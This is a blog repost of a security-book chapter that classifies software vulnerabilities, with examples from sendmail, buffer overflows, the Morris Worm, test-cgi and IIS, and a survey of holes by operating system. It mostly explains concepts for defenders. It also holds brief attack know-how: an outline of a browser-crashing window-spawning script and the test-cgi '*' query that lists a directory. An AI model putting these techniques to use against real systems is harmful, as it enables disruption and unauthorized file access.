				<category><![CDATA[Hacking Tutorials]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=110</guid>
		<description><![CDATA[The Concept of the Hole Before I examine different types of holes, I&#8217;d like to define the term hole. A hole is any feature of hardware or software that allows unauthorized users to gain access or increase their level of access without authorization. I realize this is a broad definition, but it is accurate. A [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=110&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h2><span style="color:#000077;"><strong>The Concept of the Hole</strong></span></h2>
<p>Before I examine different types of holes, I&#8217;d like to define the term  <em>hole</em>. A hole is any feature of hardware or software that allows  unauthorized users to gain access or increase their level of access without  authorization. I realize this is a broad definition, but it is accurate. A hole  could be virtually anything. For example, many peculiarities of hardware or  software commonly known to all users qualify as holes. One such peculiarity  (perhaps the most well known)is that CMOS passwords on IBM compatibles are lost  when the CMOS battery is shorted, disabled, or removed. Even the ability to boot  into single-user mode on a workstation could be classified as a hole. This is so  because it will allow a malicious user to begin entering interactive command  mode, perhaps seizing control of the machine.</p>
<p>So a hole is nothing more than some form of vulnerability. Every platform has  holes, whether in hardware or software. In short, nothing is absolutely safe.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>Only two computer-related items  have ever been deemed completely hole free (at least by national security  standards). One is the Gemini processor, manufactured by Gemini Computers. It  has been evaluated as in the A1 class on the NSA&#8217;s Evaluated Products List. It  is accompanied by only one other product in that class: the Boeing MLS LAN  (Version 2.1). Check out both products at <a href="http://www.radium.ncsc.mil/tpep/epl/"><tt>http://www.radium.ncsc.mil/tpep/epl/</tt></a>.<br />
<hr /></blockquote>
<p>You might draw the conclusion that no computer system is safe and that the  entire Net is nothing but one big hole. That is incorrect. Under the  circumstances, you should be wondering why there aren&#8217;t more holes. Consider  that the end-user never takes much time to ponder what has gone into making his  system work. Computer systems (taken holistically) are absolute wonders of  manufacturing. Thousands of people are involved in getting a computer  (regardless of platform) to a retail location. Programmers all over the world  are working on applications for any given platform at any given time. Everyone  from the person who codes your calendar program to the dozen or so folks who  design your firewall are all working independently. Under these circumstances,  holes should be everywhere; but they aren&#8217;t. In fact, excluding holes that arise  from poor system administration, security is pretty good. The problem is that  crackers are also good.</p>
<h2><span style="color:#000077;"><strong>The Vulnerability Scale</strong></span></h2>
<p>There are different types of holes, including</p>
<ul>
<li>Holes that allow denial of service</li>
<li>Holes that allow local users with limited privileges to increase those  privileges without authorization</li>
<li>Holes that allow outside parties (on remote hosts) unauthorized access to  the network</li>
</ul>
<p>These types of holes and attacks can be rated according to the danger they  pose to the victim host. Some represent significant dangers that can destroy the  target; others are less serious, qualifying only as nuisances. Figure 15.1 shows  a sort of &#8220;Internet Richter scale&#8221; by which to measure the dangers of different  types of holes.</p>
<p><a name="01"></a><a href="/Documents%20and%20Settings/jetu/Desktop/hackers%20and%20builders/complete_set_hacking_tools+manuals/Maximum%20Security%20-%20a%20Hackers%20Guide%20to%20Protection/ch15/01.htm"><strong>FIGURE 15.1.</strong></a> <em><br />
The holes  index: dangers that holes can pose.</em></p>
<h3><span style="color:#000077;"><strong>Holes That Allow Denial of Service</strong></span></h3>
<p>Holes that allow denial of service are in category C, and are of low  priority. These attacks are almost always operating-system based. That is, these  holes exist within the <em>networking portions of the operating system</em> itself. When such holes exist, they must generally be corrected by the authors  of the software or by patches from the vendor.</p>
<p>For large networks or sites, a denial-of-service attack is of only limited  significance. It amounts to a nuisance and no more. Smaller sites, however, may  suffer in a denial-of-service attack. This is especially so if the site  maintains only a single machine (and therefore, a single mail or news server).  Chapters 3, &#8220;Hackers and Crackers,&#8221; and 8, &#8220;Internet Warfare,&#8221; provide examples  of denial-of-service attacks. These occur most often in the form of attacks like  syn_flooding. An excellent definition of denial-of-service attacks is given in a  popular paper called &#8220;Protecting Against TCP SYN Denial of Service Attacks&#8221;:</p>
<dl>
<dd>Denial of Service attacks are a class of attack in which an individual or  individuals exploit aspects of the Internet Protocol suite to deny other users  of legitimate access to systems and information. The TCP SYN attack is one in  which connection requests are sent to a server in high volume, causing it to  become overwhelmed with requests. The result is a slow or unreachable server,  and upset customers. </dd>
</dl>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>Check out &#8220;Protecting  against TCP SYN Denial of Service Attacks&#8221; online at <a href="http://www.proteon.com/docs/security/tcp_syn.htm"><tt>http://www.proteon.com/docs/security/tcp_syn.htm</tt></a>.<br />
<hr /></blockquote>
<p>The syn_flooder attack is instigated by creating a high number of half-open  connections. Because each connection opened must be processed to its ultimate  conclusion (in this case, a time-out), the system is temporarily bogged down.  This appears to be a problem inherent in the design of the TCP/IP suite, and  something that is not easily remedied. As a CERT advisory on this subject notes:</p>
<dl>
<dd>There is, as yet, no generally accepted solution to this problem with the  current IP protocol technology. However, proper router configuration can reduce  the likelihood that your site will be the source of one of these attacks. </dd>
</dl>
<p>This hole, then, exists within the heart of the networking services of the  UNIX operating system (or nearly any operating system running full-fledged  TCP/IP over the Internet). Thus, although efforts are underway for fixes, I  would not classify this as a high priority. This is because in almost all cases,  denial-of-service attacks represent no risk of penetration. That is, crackers  cannot harm data or gain unauthorized levels of privilege through these means;  they can just make themselves nuisances.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>Good papers available  on the Net can give you a clearer picture of what such a denial-of-service  attack entails. One is &#8220;Security Problems in the TCP/IP Protocol Suite&#8221; by Steve  Bellovin, which appeared in <em>Computer Communication Review</em> in April 1989.  Find it at <a href="ftp://research.att.com/dist/internet_security/ipext.ps.Z"><tt>ftp://research.att.com/dist/internet_security/ipext.ps.Z</tt></a>.<br />
<hr /></blockquote>
<p>Although UNIX is notorious for being vulnerable to denial-of-service attacks,  other platforms are not immune. For example, as I will discuss in Chapter 16,  &#8220;Microsoft,&#8221; it is possible to bring certain NT distributions to a halt simply  by Telnetting to a particular port and issuing a few simple characters. This  forces the CPU to race to 100 percent utilization, thus incapacitating the  machine altogether.</p>
<p>There are other forms of denial-of-service attacks. Certain denial-of-service  attacks can be implemented against the individual user as opposed to a network  of users. These types of attacks do not really involve any bug or hole per se;  rather, these attacks take advantage of the basic design of the WWW.</p>
<p>For example, suppose I harbored ill feelings toward users of Netscape  Navigator. (Don&#8217;t laugh. There are such people. If you ever land on their pages,  you will know it.) Using either Java or JavaScript, I could effectively  undertake the following actions:</p>
<dl>
<dd><strong>1. </strong>Configure an inline or a compiled program to execute on load,  identifying the type of browser used by the user.</p>
<p><strong>2. </strong>If the  browser is Netscape Navigator, the program could spawn multiple windows, each  requesting connections to different servers, all of which start Java applets on  load. </dd>
</dl>
<p>In fewer than 40 seconds, the target machine would come to a grinding halt.  (Oh, those with more than 64MB of RAM might survive long enough for the user to  shut down the processes. Nonetheless, the average user would be forced to  reboot.) This would cause what we technically classify as a denial-of-service  attack.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>One good reference  about denial-of-service attacks is &#8220;Hostile Applets on the Horizon&#8221; by Mark D.  LaDue. That document is available at <a href="http://www.math.gatech.edu/~mladue/HostileArticle.html"><tt>http://www.math.gatech.edu/~mladue/HostileArticle.html</tt></a>.<br />
<hr /></blockquote>
<p>These types of denial-of-service attacks are generally lumped into the  category of malicious code. However, they do constitute a type of DoS attack, so  I thought they were worth mentioning here.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>Not every denial-of-service  attack need be launched over the Internet. There are many types of  denial-of-service attacks that occur at a local level, perhaps not even in a  network environment. A good example is a well known <em>file locking</em> denial-of-service attack that works on the Microsoft Windows NT platform. Sample  code for this attack has been widely distributed on security mailing lists. The  code (when compiled) results in a program that will take any file or program as  a command-line argument. This command-line argument is the target file that you  wish to lock. For example, it might be <tt>WINWORD.EXE </tt>or even a DLL file.  The file will remain completely locked (inaccessible to any user) for the length  of time specified by the cracker. During that period, no one&#8211;not even the  administrator&#8211;can use the file. If the cracker sets the time period to  indefinite (or rather, the equivalent thereof), the only way to subvert the lock  is to completely kill that user&#8217;s session. Such locking programs also work over  shared out drives.<br />
<hr /></blockquote>
<p>One particularly irritating denial-of-service attack (which is being  incorporated into many Windows 95 cracking programs) is the dreaded CHARGEN  attack. CHARGEN is a service that runs on port 19. It is a character generator  (hence the name) used primarily in debugging. Many administrators use this  service to determine whether packets are being inexplicably dropped or where  these packets disappear before the completion of a given TCP/IP transaction. In  any event, by initiating multiple requests to port 19, an attacker can cause a  denial-of-service attack, hanging the machine.</p>
<h3><span style="color:#000077;"><strong>Holes That Allow Local Users Unauthorized  Access</strong></span></h3>
<p>Still higher in the hole hierarchy (class B) are those holes that allow local  users to gain increased and unauthorized access. These types of holes are  typically found within applications<em> </em>on this or that platform.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>In Figure 15.1, I point to an  unshadowed <tt>passwd</tt> file as a possible class B problem, and in truth, it  is. Nonetheless, this is not an <em>application</em> problem. Many such  nonapplication problems exist, but these differ from hard-line class B holes.  Here, hard-line class B holes are those that occur within the actual code of a  particular application. The following example will help illustrate the  difference.<br />
<hr /></blockquote>
<p>A<em> local user</em> is someone who has an account on the target machine or  network. A typical example of a local user is someone with shell access to his  ISP&#8217;s box. If he has an e-mail address on a box and that account also allows  shell access, that &#8220;local&#8221; user could be thousands of miles away. In this  context, <em>local</em> refers to the user&#8217;s account privileges, not his  geographical location.</p>
<h4><span style="color:#000077;"><strong>sendmail</strong></span></h4>
<p>A fine example of a hole that allows local users increased and unauthorized  access is a well-known sendmail problem. sendmail is perhaps the world&#8217;s most  popular method of transmitting electronic mail. It is the heart of the  Internet&#8217;s e-mail system. Typically, this program is initiated as a daemon at  boot time and remains active as long as the machine is active. In its active  state, sendmail listens (on port 25) for deliveries or other requests from the  void.</p>
<p>When sendmail is started, it normally queries to determine the identity of  the user because only root is authorized to perform the startup and maintenance  of the sendmail program. Other users with equivalent privileges may do so, but  that is the extent of it. However, according to the CERT advisory titled  &#8220;Sendmail Daemon Mode Vulnerability&#8221;:</p>
<dl>
<dd>Unfortunately, due to a coding error, sendmail can be invoked in daemon mode  in a way that bypasses the built-in check. When the check is bypassed, any local  user is able to start sendmail in daemon mode. In addition, as of version 8.7,  sendmail will restart itself when it receives a SIGHUP signal. It does this  restarting operation by re-executing itself using the exec(2) system call.  Re-executing is done as the root user. By manipulating the sendmail environment,  the user can then have sendmail execute an arbitrary program with root  privileges. </dd>
</dl>
<p>Thus, a local user can gain a form of root access. These holes are quite  common. One surfaces every month or so. sendmail is actually renowned for such  holes, but has no monopoly on the phenomenon (nor is the problem indigenous to  UNIX).</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>For information about  some commonly known sendmail holes, check out <a href="http://info.pitt.edu/HOME/Security/pitt-advisories/95-05-sendmail-vulnerabilities.html">http://info.pitt.edu/HOME/Security/pitt-advisories/95-05-sendmail-vulnerabilities.html</a><span style="color:#000000;"> and </span><a href="http://www.crossroads.fi/~tkantola/hack/unix/sendmail.txt">http://www.crossroads.fi/~tkantola/hack/unix/sendmail.txt</a><span style="color:#000000;">.</span><br />
<hr /></blockquote>
<p>Older versions of sendmail contain a weakness in the buffer (you will learn a  little bit about the buffer/stack scenario in the following paragraphs). As  such, one used to be able to crack the system by invoking the <tt>debug</tt> option in sendmail and overflowing the buffer. This was done with the  <tt>-d</tt> option. A similar problem surfaced regarding sendmail&#8217;s  communication with the <tt>syslog</tt> daemon (another buffer overflow  problem).</p>
<p>These types of holes represent a serious threat for one reason: If a local  user successfully manages to exploit such a hole, the system administrator may  never discover it. Also, leveraged access is far more dangerous in the hands of  a local user than an outsider. This is because a local user can employ basic  system utilities to learn more about the local network. Such utilities reveal  far more than any scanner can from the void. Therefore, a local user with even  fleeting increased access can exploit that access to a much greater degree. (For  that matter, the local user is <em>behind</em> your firewall, meaning he is free  to conduct his affairs without further complications.)</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>Holes in programs like sendmail  are especially significant because these programs are available to all users on  the network. All users must have at least basic privileges to use the sendmail  program. If they did not, they would have no way to send mail. Therefore, any  bug or hole within sendmail is very dangerous.<br />
<hr /></blockquote>
<p>The only real comfort with respect to these types of holes is that there is a  much greater chance of identifying the offender, particularly if he is  inexperienced. If the system administrator is running strong logging utilities,  the offender will need a fair amount of expertise to escape detection.</p>
<h4><span style="color:#000077;"><strong>Other Class B Holes</strong></span></h4>
<p>Most class B holes arise from some defect within an application. There are  some fairly common programming errors that lead to such holes. One such error  concerns the character buffer in programs written in C (hence, the dreaded  buffer overflow).<em> Buffer overflow</em> is defined on the Jargon File as</p>
<dl>
<dd>What happens when you try to stuff more data into a buffer (holding area)  than it can handle. This may be due to a mismatch in the processing rates of the  producing and consuming processes (see overrun and firehose syndrome), or  because the buffer is simply too small to hold all the data that must accumulate  before a piece of it can be processed. </dd>
</dl>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>The Jargon File is a  wide collection of definitions, which cover strange and colorful terms used in  computer lingo or slang (technospeak). All new Internet users should peruse the  Jargon File because it reveals the meanings of many acronyms and other slang  terms referred to in Usenet newsgroups and general discussion areas on the  Internet. A good HTML version of the Jargon File is located at <a href="http://nmsmn.com/~cservin/jargon/alpha.html"><tt>http://nmsmn.com/~cservin/jargon/alpha.html</tt></a>.<br />
<hr /></blockquote>
<p>Rather than exhaustively treat the subject of buffer overflows, I will  briefly describe problem here. The purpose of this explanation is to familiarize  you with a rather ingenious technique of gaining unauthorized access; I hope to  do so without an endless examination of the C language (C is covered more  extensively in Chapter 30, &#8220;Language, Extensions, and Security&#8221;).</p>
<p>Programs written in C often use a <em>buffer</em>. Flatly stated, a buffer is  an abstraction, an area of memory in which some type of text or data will be  stored. Programmers make use of such a buffer to provide pre-assigned space for  a particular block or blocks of data. For example, if one expects the user to  input his first name, the programmer must decide how many characters that first  name buffer will require (how many letters should be allowed in that field, or  the number of keystrokes a user can input in a given field). This is called the  size of the character buffer. Thus, if the programmer writes:</p>
<pre><span style="color:#0066ff;">char first_name[20];
</span></pre>
<p>he is allowing the user 20 characters for a first name. But suppose the  user&#8217;s first name has 35 characters. What happens to the last 15 characters?  They overflow the character buffer. When this overflow occurs, the last 15  characters are put somewhere in memory, at another address (an address the  programmer did not intend for those characters to go to). Crackers, by  manipulating where those extra characters end up, can cause arbitrary commands  to be executed by the operating system. Most often, this technique is used by  local users to gain access to a root shell. Unfortunately, many common utilities  have been found to be susceptible to buffer overflow attacks.</p>
<p>Programmers can eliminate this problem through careful programming  techniques. I am not suggesting here that programmers should provide error  checking for each and every character buffer written; this is probably  unrealistic and may be waste of time. For although these defects can certainly  place your network at risk, the cracker requires a high level of skill to  implement a buffer overflow attack. Although the technique is often discussed in  cracking circles, few actually have the programming knowledge to do it.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>Failure to include checks for  buffer overflows have caused some of the very problems I have already discussed,  such as sendmail holes.<br />
<hr /></blockquote>
<p>The buffer overflow issue is nothing new; it has been with us at least since  the days of the Worm. Eugene Spafford, as I have already noted, was one of the  first individuals to conduct a purposeful analysis of the Worm. He did so in the  now-famous paper, &#8220;The Internet Worm: An Analysis.&#8221; Spafford&#8217;s paper is  undoubtedly the best source of information about the Worm.</p>
<p>In page 4 of that document, Spafford observes that the Morris Worm exploited  a vulnerability in the fingerd daemon (the daemon that listens for and satisfies  finger requests directed to port 79). The fingerd program utilized a common C  language function known as <tt>gets()</tt>, which performs the simple task of  reading the next line of input. <tt>gets()</tt> lacked any function to check for  <em>bounds</em>, or incoming input that could potentially exceed the buffer. Thus,  Morris was able to overflow that buffer and reportedly push other code onto the  stack; this code provided the Worm with needed system access. Spafford observes  that this vulnerability was well known in programming communities, even then. He  further explains that functions that fail to check for potential overflows  should not be used. Yet even today, programs are written with the same, basic  flaws that allowed the Worm to travel so far, so fast.</p>
<h3><span style="color:#000077;"><strong>Holes That Allow Remote Users Unauthorized Access  (Class A)</strong></span></h3>
<p>Class A holes are the most threatening of all and not surprisingly, most of  them stem from either poor system administration or misconfiguration. Vendors  rarely overlook those holes that allow remote users unauthorized access. At this  late stage of the game, even vendors that were previously not security minded  have a general grasp of the terrain.</p>
<p>The typical example of a misconfiguration (or configuration failure) is any  sample script that remains on the drive, even though the distribution docs  advise that it be removed. One such hole has been rehashed innumerable times on  the Net. It involves those files included within Web server distributions.</p>
<p>Most Web server software contains fairly sparse documentation. A few files  may exist, true, and some may tout themselves as tutorials. Nonetheless, as a  general rule, distributions come with the following elements:</p>
<ul>
<li>Installation instructions</li>
<li>The binaries</li>
<li>In some rare cases, the source</li>
<li>Sample configuration files with comments interspersed within them, usually  commented out within the code</li>
<li>Sample CGI scripts</li>
</ul>
<p>To the credit of those distributing such software, most configuration files  offer a warning regarding sample scripts. Nonetheless, for reasons of which I am  uncertain, not everyone heeds those warnings (at least one government site  recently cracked had this problem). In any case, these scripts can sometimes  provide an intruder from the void with access ranging from limited to root.</p>
<p>Probably the most talked-about hole of this kind is the vulnerability in a  file called <tt>test-cgi</tt>, distributed with early versions of the Apache Web  Server distribution. This file contained a flaw that allowed intruders from the  void to read files within the CGI directory. If your <tt>test-cgi</tt> file  contained the following line, you were probably vulnerable:</p>
<pre><span style="color:#0066ff;">echo QUERY_STRING = $QUERY_STRING
</span></pre>
<p>As noted in the article titled &#8220;Test-CGI Vulnerability in Certain Setups&#8221;:</p>
<dl>
<dd>All of these lines should have the variables enclosed in loose quotes (&#8220;).  Without these quotes certain special characters (specifically `*&#8217;) get expanded  where they shouldn&#8217;t. Thus submitting a query of `*&#8217; will return the contents of  the current directory (probably where all of the cgi files are). </dd>
</dl>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>Find &#8220;Test-CGI  Vulnerability in Certain Setups&#8221; online at <a href="http://www.sec.de/sec/bug.testcgi"><tt>http://www.sec.de/sec/bug.testcgi</tt></a>.<br />
<hr /></blockquote>
<p>Interestingly, no sooner than this advisory (and others like it) circulated,  it was found that:</p>
<dl>
<dd>Test-CGI in the Apache 1.1.1 distribution already has the required: </dd>
</dl>
<blockquote>
<pre><span style="color:#0066ff;">echo QUERY_STRING = "$QUERY_STRING"</span></pre>
</blockquote>
<dl>
<dd>However, it does not have the necessary quotes around the </dd>
</dl>
<blockquote>
<pre><span style="color:#0066ff;">"$CONTENT_TYPE"</span></pre>
</blockquote>
<dl>
<dd>string. Therefore it&#8217;s still vulnerable in its default configuration. </dd>
</dl>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>The previous paragraph  is excerpted from an article titled &#8220;Vulnerability in Test-CGI&#8221; by Joe Zbiciak.  It can be found online at <a href="http://geek-girl.com/bugtraq/"><tt>http://geek-girl.com/bugtraq/</tt></a>.<br />
<hr /></blockquote>
<p>Problems like this are common. For example, one HTTP server on the Novell  platform includes a sample script called <tt>convert.bas</tt>. The script,  written in BASIC, allows remote users to read any file on the system.</p>
<p>This problem sometimes involves more than just a sample script; sometimes it  involves the way scripts are interpreted. For example, version 1.0 of  Microsoft&#8217;s Internet Information Server (IIS) contains a hole that allows any  remote user to execute arbitrary commands. The problem is that the IIS HTTP  associates all files with a <tt>*.bat</tt> or <tt>*.cmd</tt> extension to the  program <tt>cmd.exe</tt>. As explained by Julian Assange (author of Strobe), the  problem is not restricted to IIS:</p>
<dl>
<dd>The First bug allows a user to access any file on the same partition where  your wwwroot directory exists (assuming that IIS_user has permission to read  this file). It also allows execution of any executable file on the same  partition where your scripts directory exists (assuming that IIS_user has  permission to execute this file). If cmd.exe file can be executed then it also  allows you to execute any command and read any file on any partition (assuming  that IIS_user has permission to read or execute this file)&#8230;Unfortunately  Netscape Communication and Netscape Commerce servers have similar bugs. Similar  things can be done with Netscape Server if it uses BAT or CMD files as CGI  scripts. </dd>
</dl>
<p>Naturally, these holes pose a significant danger to the system from outside  sources. In many cases, if the system administrator is running only minimal  logs, these attacks may go unrecorded. This makes it more difficult to apprehend  the perpetrators.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>To be fair, most UNIX  implementations of HTTPD do provide for recording of the requesting IP address.  However, even given this index to go by, identifying the actual perpetrator can  be difficult. For example, if the attacker is coming from AOL, the call will  come from one or more of AOL&#8217;s proxy machines in Reston, Virginia. There could  be hundreds of potential suspects. Using the <tt>ACCESS.LOG</tt> file to track a  cracker is a poor substitute for more comprehensive logging and is only of real  value when the attacker is coming from a small local ISP.<br />
<hr /></blockquote>
<p>You can readily see, then, why programs like scanners have become such an  important part of the security scheme. Scanners serve the vital purpose of  checking for these holes. The problem is, of course, that for a scanner to  include the capability to scan for a particular vulnerability, that  vulnerability must already be well known. Thus, although security programmers  include such holes as scan options in their programs, they are often several  months behind the cracking community. (Also, certain holes&#8211;such as the  syn_flooding hole that allows denial-of-service attacks&#8211;are not easily  remedied. Such holes are imperfections that system administrators must learn to  live with for the moment.)</p>
<p>What makes the situation more difficult is that holes on platforms other than  UNIX take more time to surface. Many NT system administrators do not run heavy  logs. To report a hole, they must first have some evidence that the hole exists.  Moreover, newer system administrators (of which a higher percentage exists  amongst the IBM-compatible set) are not well prepared for documenting and  reporting security incidents. This means that time passes before such holes are  presented, tested, re-created in a test environment, and ultimately, implemented  into scanners.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>Microsoft users cannot count on  Microsoft to instantly enlighten users as to potential problems. In my opinion,  Microsoft&#8217;s record of publicizing holes has been very poor. It seems to do so  only after so many people know about the hole that there is no other choice but  to acknowledge it. While a hole is still obscure, Microsoft personnel adamantly  deny the existence of the flaw. That situation is only now changing because the  hacking (not cracking) community has called their bluff and has initiated the  process of exposing all holes inherent within the Microsoft platform.<br />
<hr /></blockquote>
<p>There is also the question of quality. Five years ago, software for the  Internet was coded primarily by the academic communities. Such software had  bugs, true, but the quality control worked quite differently from today&#8217;s  commercial schemes. In those days (they seem so distant now!), a product was  coded by and released from some CS lab. Several hundred (or even several  thousand) people would download the product and play with it. Bug reports would  flow in, problems would be addressed, and ultimately, a slow but progressive  process of refinement would ensue.</p>
<p>In the current commercially charged climate of the Internet, applications of  every type are popping up each day. Many of them are not subjected to a serious  analysis for security flaws within the code (no matter how fervently their  proponents urge otherwise). In fact, it is common to see the same programming  errors that spawned the Morris Worm.</p>
<p>To demonstrate this point, I will refer to the buffer overflow problem. As  reported in a 1995 advisory on a vulnerability in NCSA HTTPD (one of the world&#8217;s  most popular Web server packages):</p>
<dl>
<dd>A vulnerability was recently (2/17/95) discovered in the NCSA httpd Release  1.3. A program which will break into an HP system running the precompiled httpd  has been published, along with step by step instructions. The program overflows  a buffer into program space which then gets executed. </dd>
</dl>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>The previous paragraph  is excerpted by a paper by Elizabeth Frank, and can be found online at <a href="http://ernie.sfsu.edu/patch_desc.html"><tt>http://ernie.sfsu.edu/patch_desc.html</tt></a>.<br />
<hr /></blockquote>
<p>According to the CERT advisory (&#8220;NCSA HTTP Daemon for UNIX Vulnerability&#8221;)  that followed:</p>
<dl>
<dd>Remote users may gain unauthorized access to the account (uid) under which  the httpd process is running. </dd>
</dl>
<p>As explained in Chapter 9, &#8220;Scanners,&#8221; many individuals unwittingly run HTTPD  as root. Thus, this vulnerability would provide remote users with root access on  improperly configured Web servers.</p>
<h2><span style="color:#000077;"><strong>Other Holes</strong></span></h2>
<p>In the preceding paragraphs, I named only a few holes. This might give you  the erroneous impression that only a handful of programs have ever had such  holes. This is untrue. Holes have been found in nearly every type of remote  access software at one stage or another. The list is very long indeed. Here is a  list of some programs that have been found (over the years) to have serious  class A holes:</p>
<ul>
<li>FTP</li>
<li>Gopher</li>
<li>Telnet</li>
<li>sendmail</li>
<li>NFS</li>
<li>ARP</li>
<li>Portmap</li>
<li>finger</li>
</ul>
<p>In addition to these programs having class A holes, all of them have had  class B holes as well. Moreover, in the class B category, dozens of other  programs that I have not mentioned have had holes. Finally, a good number of  programs have class C holes as well. I will be addressing many of these in  upcoming chapters.</p>
<h2><span style="color:#000077;"><strong>The Impact of Holes on Internet  Security</strong></span></h2>
<p>Now that you have read a bit about some common holes, the next step is to  know what impact they can have on Internet security. First, know this: <em>Any  flaw that a cracker can exploit will probably lead to other flaws</em>. That is,  each flaw (large or small) is a link in the network chain. By weakening one  link, crackers hope to loosen all the other links. A true cracker may use  several techniques in concert before achieving even a modest goal. If that  modest goal can be achieved, other goals can also be achieved.</p>
<p>For example, perhaps a cracker is working on a network on which he does not  have an account. In that instance, he must first acquire some form of access to  the system (access above and beyond whatever diagnostic information he may have  culled from SATAN, ISS, or other scanners). His first target, then, might be a  user on that network. If he can compromise a user&#8217;s account, he can at least  gain shell access. From that point on, other measures may be taken.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>I recently reviewed logs on a  case where the cracker had gained control of a local user&#8217;s account.  Unfortunately for the cracker, he did not pick his target well. The unwary user  was a complete newbie and had never, ever used her shell account. LAST logs (and  other auditing materials) revealed this immediately. So what we had was a  dial-up customer who had never used her shell account (or even built a Web page)  suddenly compiling programs using a C compiler from a shell account. Hmm. Next  time, that cracker will be more choosy about whose account he commandeers.<br />
<hr /></blockquote>
<h3><span style="color:#000077;"><strong>Is This Hole Problem As Bad As They  Say?</strong></span></h3>
<p>Yes and no. Holes are reported to a variety of mailing lists each day.  Nonetheless, those holes vary in severity. Many are in the class C category and  not particularly important. As an interesting experiment, I decided to  categorize (by operating-system type) all holes reported over a two-month  period.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>In my experiment, I excluded all  non-UNIX operating systems (I treat non-UNIX operating systems later in this  chapter). I did this to be fair, for by sampling a bug mailing list that  concentrates primarily on UNIX machines, I would give an erroneously bad image  of UNIX and an erroneously good image of non-UNIX systems. This is so because  UNIX mailing lists only occasionally receive security advisories on non-UNIX  systems. (Although there is now a cross-over because other systems are more  commonly being used as server-based platforms for the WWW, that cross-over  amounts to a trickle).<br />
<hr /></blockquote>
<p>Instead of indiscriminately picking instances of a particular operating  system&#8217;s name and adding this to the tables (for example, grabbing every posting  that referred to the syslog hole), I carefully sifted through each posting. I  chose only those postings that reported the first instance of a hole. All  trailing messages that discussed that hole were excluded. In this way, only new  holes were added to my data. Furthermore, I pulled only the first 50 on each  operating system. With one minor exception that I explain later, I had no reason  to assume that the percentage would be greatly influenced by pulling 100 or  1,000.</p>
<p>I must advise you of one final point. Figure 15.2 shows an astonishing number  of holes in HP-UX (Hewlett Packard&#8217;s OS). This prevalence of HP-UX holes is  largely due to a group called &#8220;Scriptors of Doom.&#8221; These individuals have  concentrated their efforts on finding holes indigenous to HP-UX. They have  promised &#8220;one hole a week.&#8221; Because of their activity, HP-UX appears to have  security problems that are more serious than other operating systems of a  similar ilk. This is not really the case. That settled, please examine Figure  15.2.</p>
<p>Note that Sun (Solaris), AIX, and FreeBSD were running neck and neck, and  that IRIX had just slightly fewer holes than Linux. But which of these holes  were serious security risks? Which of these&#8211;per platform&#8211;were class B or class  A vulnerabilities? To determine this, I reexamined the data from Figure 15.2 and  excluded all vulnerabilities that could not result in local or remote users  gaining root access. Table 15.1 lists the results.</p>
<p><a href="/Documents%20and%20Settings/jetu/Desktop/hackers%20and%20builders/complete_set_hacking_tools+manuals/Maximum%20Security%20-%20a%20Hackers%20Guide%20to%20Protection/ch15/02.htm"><strong>FIGURE 15.2.</strong></a><br />
<em>Survey of reported operating  system holes in October-December 1996.</em></p>
<h4><span style="color:#000077;"><strong>Table 15.1. Operating system holes that allowed root  access.</strong></span></h4>
<p> </p>
<table border="1">
<tbody>
<tr align="left">
<td align="left" valign="top"><em>Operating system</em></td>
<td align="left" valign="top"><em>Holes</em></td>
</tr>
<tr align="left">
<td align="left" valign="top">HP-UX</td>
<td align="left" valign="top">6</td>
</tr>
<tr align="left">
<td align="left" valign="top">Solaris</td>
<td align="left" valign="top">2</td>
</tr>
<tr align="left">
<td align="left" valign="top">AIX</td>
<td align="left" valign="top">1</td>
</tr>
<tr align="left">
<td align="left" valign="top">Linux</td>
<td align="left" valign="top">4</td>
</tr>
<tr align="left">
<td align="left" valign="top">IRIX</td>
<td align="left" valign="top">4</td>
</tr>
<tr align="left">
<td align="left" valign="top">FreeBSD</td>
<td align="left" valign="top">3</td>
</tr>
</tbody>
</table>
<p> </p>
<p>Still, this information could be misleading, so I analyzed the data further.  All of the listed operating systems were vulnerable to at least one bug present  in their counterparts. That is, at least one bug was common to all operating  systems sampled. After excluding these holes, the average was 2.5 holes per  platform. AIX fell completely out of the running at that stage, having a total  value of 0. Does this mean that AIX is the safest platform? No. It simply means  that this two-month period spawned few advisories relevant to AIX.</p>
